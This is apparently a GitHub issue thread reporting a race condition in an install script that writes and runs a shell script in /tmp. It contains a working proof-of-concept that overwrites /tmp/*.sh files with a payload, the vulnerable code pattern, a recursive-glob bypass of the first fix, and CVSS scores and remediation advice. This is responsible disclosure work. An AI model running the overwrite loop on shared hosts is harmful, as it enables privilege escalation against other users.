Race Condition in install.py

[rthijssen]

Heya, I'm a security researcher and wanted to let you know that your src/itp_interface/main/install.py script contains an exploitable race condition that can allow an attacker (with access to the machine) to elevate into the account executing the installation script.

The likelihood of exploitation is increased because the script is created in the /tmp directory (during the .elan installation process at src/itp_interface/main/install.py:63-86) which is accessible to all users. The race condition can occur when (at the right time) the content of the .sh file is overwritten between the execution of line 80 and 82.

It looks like this vulnerability was introduced in this commit: a8671c7 (on Feb 8, 2025). Which means that all versions (1.1.0-1.1.7) are vulnerable.

Exploitation

The code below will replace the content of the .sh file when the install_lean_repl function (or the vulnerable example code below) runs with the content of the PAYLOAD variable.

exploit.py:

import glob
import concurrent.futures

# The new content for `/tmp/{random_string}.sh`
PAYLOAD=f"""
echo 'Replaced Content'
whoami
"""

def monitor_and_write():
  while True:
    for file_path in glob.glob('/tmp/*.sh'):
      try:
        with open(file_path, 'w') as file:
          file.write(PAYLOAD)
      except Exception as e:
          print(f"Error writing to {file_path}: {e}")

# Start 100 threats that all try to write to any .sh file located in /tmp
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
    for _ in range(100):
        executor.submit(monitor_and_write)

Example vulnerable code:

import os

shell_code = f"""
echo 'Original Content'
"""

random_string = os.urandom(8).hex()

with open(f"/tmp/{random_string}.sh", "w") as f:
    f.write(shell_code)
os.system(f"chmod +x /tmp/{random_string}.sh")
print("Running the script")
os.system(f"bash /tmp/{random_string}.sh")
print("Removing the script")
os.system(f"rm /tmp/{random_string}.sh")

print("Done")

Steps to reproduce

1. Run exploit.py
2. Run the itp-interface install script, or example vulnerable code snippet
3. Due to the nature of race conditions the exploit might not be successful on every run. You might have to repeat step 1 & 2 a few times to see the original content being replaced with the payload.

Remediation

There are a few remediation strategies:

1. Don't create dynamic .sh files during an installation process
2. Use file locking strategies
3. Restrict file access by writing the file to a directory not accessible to other users

[amit9oct]

Thank you so much for opening this issue. If I understand correctly for the threat to work, the exploit.py has to be running on the machine already, and machine has to be already compromised (you also mention "allow an attacker with access to the machine")

Anyway I will change from having to create temporary .sh file. However, if my understanding is correct then someone needs to first hack the system and then run the exploit script in first place. The whole exploit script looks like a virus. Well if someone installed a virus and allowed an attacker to get access then that will make our installation script misbehave? I see your point, some rogue element who has access to machine who knows that their colleagues will use this tool and they keep running this exploit all the time, and someday get extremely lucky that their exploit script runs exactly at the moment their colleagues installs the tool. I really liked your imagination at this point!

However, if someone has an arbitrary exploit script (virus) running on the host machine and that too because someone went rogue in an organisation to gain access to their colleagues account, then at that point there are more important things to worry about than not being able to correctly install/setup our tool. If someone with access to machine went rogue a lot more bad things can happen than using this exploit.

I would argue the threat is a "conditional" one where the machine is already compromised and exposed to a much bigger threat, where a virus is already running on the host machine and can potentially replace any other .sh in /tmp folder with arbitrary code. This can also happen when someone downloads some other installation .sh script for setting something like conda and that script gets replaced.

I'm glad that you took the time to read the script. I'm always happy that someone reads our code proposes fixes. I like that you are researching this way, and good luck with that. I like your imagination about corner cases. So I thank you that I got to learn something new. However, I could not stop myself from pointing out that the vulnerablity is "highly conditional" and is conditioned virtually on the premise that there are rogue elements which has access to a host machine and they are running virus explicitly designed to impact .sh scripts in /tmp folder. The premise itself IMO means that the machine is completely compromised and there are much bigger threats to worry about. However, if this type of exploit script runs on the host machine I think the admin has to worry about more pressing issues than a simple tool installation not working.

So I will fix this by maybe by not creating the script in /tmp or creating a random number of directories in /tmp and the placing our installation script there.

Thank you once again for your time to read our code and help with suggestions. I will keep this issue open for now and potentially add some changes as discussed. However, it does sound more like a "theoretical/hypothetical" case to me (which is premised on conditions of rogue element existence and/or "compromised machines" where the host machine's admin needs to worry a lot more about serious complications than this), so I categorise the vulnerablity as not a very "serious" threat. I will try to add proposed changes in the next release.

[rthijssen]

I think the way to look at this is from a privilege escalation perspective, rather than from an arbitrary code execution perspective. Yes, the attacker must already have access to the machine, but if they have access as a regular user, and install.py is run by root the attacker will be able to execute their PAYLOAD under root permissions. It is also not uncommon for many different people (users) to have access to a single host, especially in larger environments.

Below I've included the CVSS scores (and vectors) based on which user is running the install.py script to quantify likelihood and impact:

• root (or a user with root like permissions): Medium (CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
• non-root accounts: Low (CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)

Successful exploitation of this issue is very unlikely. The attacker must already have access to the host, and must win a race condition. The impact of a successful attack is what is more relevant.

Thanks for the quick reply btw! Glad you're working on a fix. Make sure you move the script out of the /tmp directory. /tmp is not a safe place to handle this functionality. Instead, can you just add a static .sh file to the tar.gz file, rather than generating it dynamically?

It might also be worth running a tool like bandit (https://github.com/PyCQA/bandit) that can help you find security issues during development. Alternatives to bandit are:

• semgrep (https://semgrep.dev/); and
• snyk (https://snyk.io/; pretty sure it's free for open source projects).

[amit9oct]

@rthijssen : fixed in #47 PR.

[rthijssen]

@amit9oct: I'm sorry, but this PR doesn't fix the issue. It remains exploitable after modifying the exploits for loop from for file_path in glob.glob('/tmp/*.sh'): to for file_path in glob.glob('/tmp/**/*.sh', recursive=True):

[rthijssen]

I've created a PR with an untested fix: #49

[amit9oct]

I merged the PR, thanks for fixing it.

[rthijssen]

No worries, happy to help.

Are you just able to publish a security advisory so security tools can flag the vulnerability and inform users to upgrade? Should be super easy if you're using the GitHub build-in functionally: https://docs.github.com/en/code-security/security-advisories/working-with-repository-security-advisories/publishing-a-repository-security-advisory.